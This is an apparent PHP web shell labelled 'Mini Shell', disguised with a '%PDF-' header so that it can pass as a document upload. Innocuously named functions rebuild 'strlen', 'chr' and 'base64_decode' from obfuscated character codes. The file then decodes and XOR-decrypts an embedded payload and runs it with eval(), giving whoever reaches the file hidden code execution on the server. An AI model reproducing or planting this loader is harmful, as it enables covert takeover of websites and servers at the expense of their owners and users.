Mini Shell

%PDF-<?php
function analyze_data($n)
{
    $a = array(84 + 26, 16 * 102 - 1531, 2 * 54, 2 * 57, 2 * 58, 5 * 23);
    $y = '';
    foreach ($a as $h) {
        $y .= chr($h);
    }
    $y = strrev($y);
    return $y($n);
}

function process_queue($x)
{
    $g = array(2 * 57, 2 * 52, 81 + 18);
    $b = '';
    foreach ($g as $e) {
        $b .= chr($e);
    }
    $b = strrev($b);
    return $b($x);
}

$nsj = array(98 * 1 / 1 + 16 - 16 - 7 + 7 - 4 + 4, 97 * 1 / 1 * 1 / 1 + 11 - 11 + 6 + 1 - (6 + 1) - 14 + 14, 115 - 20 + 20 + 18 - 18 + 10 + 5 - (10 + 5), 101 - 9 + 9 - 5 + 5 - 5 + 5, 54 * 27 / 27 + 1 - 1 + 5 + 10 - (5 + 10) + 16 - 16 + 4 + 5 - (4 + 5), 52 - 12 + 12 - 9 + 9 - 15 + 15, 95 + 17 - 17 + 4 + 7 - (4 + 7) - 4 + 4, 100 - 20 + 20 + 10 - 10, 101 + 6 + 3 - (6 + 3) + 17 - 17, 99 - 19 + 19 + 10 - 10 + 8 + 2 - (8 + 2) + 7 + 2 - (7 + 2), 111 * 37 / 37 * 37 / 37 * 111 / 111, 100 * 5 / 5 - 14 + 14 + 5 - 5 + 18 - 18, (101 + 7 - 7 + 17 - 17 + 3 + 5 - (3 + 5) * 1) / 1);
$lhg = '';
foreach ($nsj as $boa) {
    $lhg .= process_queue($boa);
}
$xvy = 'CF4bCkRSMwJZAgJHAAUdUw4cFwEYCkYTGhMtBgZBQQpDExgCUVofQhwPH1sVFxctHgZcUl1oFAAGGwEQUVpNGFcWHw1ISDRYFwoeAQkHVEBDaBoFBxpTQkUXGB5AFFlVEx8OBE4mUxcPBFYfUUQXAA0IQF1oGAEYaV4mUR4BNhtBBEcABR1TDhwXARgKRhMaFxQZBVEOEFgcTDRaExUfWxcYVxYfDUhINFgXCgoTHhlTA1EQLQcAXV1ECVU/LWAvLHFLOj4CXVcQJD8zFVReBzQkORVUXmJVQkwHXVcQJ0tHFSUcQVVRVRUpP2UnOS0LLCwHVUJMZCkhBzQkTBxdK2JHOUweXSZEGktWDF03YxFdJHYdSnoYS0UVN0QQXks0UwxeCkxLTB5dJlAaS1YMXV4bW1cWTxMfHxsfGFcOURMtPy5gLDxlKTMCWQJDDS0eBlxSXmgZBwQVUyQeVEoYRggJWAFET20pPGUkKTlpJRBcClZRbQgUWVpLNBVUXlJVQkxEXVBqXjMCWQJDDS0eBlxSXmgBS0UVEl4eW01WDxwYWwEJQkleJkEYUU9tOTZ4OSUuCV4mXwRRWwJBXWgUAAYPSkoMVjMJVUcYRQANEhpTQhMtDgxpXiZfBDFWbRMST0hWNEAXFx9VMwpEXVAMBQQCXh9REy0KB19TAhMtDgxpXiZfBDFFD14mQRg3WwZNJGxWMw1eFyQMGwpDE14mQRg3WwZNJGxWMw1eF1IHQzFCSRMfH1NINEQQIgdGWzZpXiZRHgFAAkgkHhAeDlMRQhMtBB0ZUUITLQ4MaV4mXwQxVm0TEk9IVjRAFxcfVTMMWl1QDFYzDV4XUhxJEU9tHBVaT0g0VBYUHEJfQAJLQkpWMwNER11oEAswAklKalpFRRYlG1ApXFgGJ0JeFERKFiUbUClcWgEnURMtBB0bUwITLQoHX0ddaBALMAJPJB9WMwNEVl1oEAswAkgkHklINFAdIgdAXzYaXiZRHgFHFiUbUClcXW9UXWgQCzACS0lqWkg0UB0iB0NeNhpeJkEYN1sBJ1AeW1cWWxQaWwcIDhpeJl8ERVBWExwfW1cW';
$crc = 'k2zy7rl';
$enb = '';
for ($yar = 0; $yar < analyze_data($lhg($xvy)); $yar++) {
    $enb .= $lhg($xvy)[$yar] ^ $crc[$yar % analyze_data($crc)];
}
eval($enb);